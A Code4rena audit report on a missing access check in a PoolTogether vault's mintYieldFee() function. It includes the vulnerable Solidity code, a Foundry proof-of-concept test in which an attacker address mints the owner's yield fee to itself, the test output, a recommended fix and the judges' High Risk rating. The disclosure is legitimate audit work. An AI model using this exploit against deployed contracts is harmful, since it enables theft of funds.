Yield fees can be stolen by anyone

[code423n4]

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

Vulnerability details

The mintYieldFee() of the Vault contract has no access control, allowing anyone to execute and mint vault shares from the available yield fee. Furthermore, the function does not enforce that the recipient must be the intended yield fee recipient set by the Vault's owner (the _yieldFeeRecipient state variable).

function mintYieldFee(uint256 _shares, address _recipient) external {
  _requireVaultCollateralized();
  if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

  _yieldFeeTotalSupply -= _shares;
  _mint(_recipient, _shares);

  emit MintYieldFee(msg.sender, _recipient, _shares);
}

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

Impact

Anyone can steal the yield fees by executing the Vault.mintYieldFee(). Hence, the Vault's owner (or an intended yield fee recipient) may lose all the fees.

Proof of Concept

The below presents the PoC code. Please place the code in vault/test/unit/Vault/Liquidate.t.sol.

// cmd: forge test -vv --match-test testPoCStealingYieldFee
function testPoCStealingYieldFee() external {
  _setLiquidationPair();

  vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);

  // Set Bob as a yield fee recipient
  vault.setYieldFeeRecipient(bob);

  uint256 _amount = 1000e18;

  underlyingAsset.mint(address(this), _amount);
  _sponsor(underlyingAsset, vault, _amount, address(this));

  uint256 _yield = 10e18;
  _accrueYield(underlyingAsset, yieldVault, _yield);

  vm.startPrank(alice);

  prizeToken.mint(alice, 1000e18);

  uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));

  _liquidate(liquidationRouter, liquidationPair, prizeToken, _liquidatedYield, alice);

  vm.stopPrank();

  uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

  // Bob's balance is 0 (Bob was set as a yield fee recipient)
  assertEq(vault.balanceOf(bob), 0);

  address attacker = makeAddr("Attacker");

  // Attacker's balance is 0
  assertEq(vault.balanceOf(attacker), 0);

  assertEq(vault.totalSupply(), _amount + _liquidatedYield);
  assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);

  // Prank as an attacker
  vm.startPrank(attacker);

  vm.expectEmit();
  emit MintYieldFee(address(attacker), attacker, _yieldFeeShares);

  // Attacker steals a yield fee (the yield fee is sent to the attacker, not Bob)
  vault.mintYieldFee(_yieldFeeShares, attacker);

  vm.stopPrank();

  // Attacker's balance equals _yieldFeeShares, the yield fee was stolen
  assertEq(vault.balanceOf(attacker), _yieldFeeShares);

  assertEq(vault.totalSupply(), _amount + _liquidatedYield + _yieldFeeShares);
  assertEq(vault.yieldFeeTotalSupply(), 0);

  // Bob's balance is still 0
  assertEq(vault.balanceOf(bob), 0);
}

To run the PoC: forge test -vv --match-test testPoCStealingYieldFee.

❯ forge test -vv --match-test testPoCStealingYieldFee
[⠆] Compiling...
No files changed, compilation skipped

Running 1 test for test/unit/Vault/Liquidate.t.sol:VaultLiquidateTest
[PASS] testPoCStealingYieldFee() (gas: 819547)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.09ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

Recommended Mitigation Steps

I recommend applying proper access control to the Vault.mintYieldFee(). Only the Vault's owner or authorized users should be able to execute this function.

If necessary, only the intended yield fee recipient set by the Vault's owner should be able to execute this function, to be aligned with the contract design.

Assessed type

Access Control

[c4-judge]

Picodes marked the issue as duplicate of #396

[c4-judge]

Picodes changed the severity to 3 (High Risk)

[c4-judge]

Picodes marked the issue as satisfactory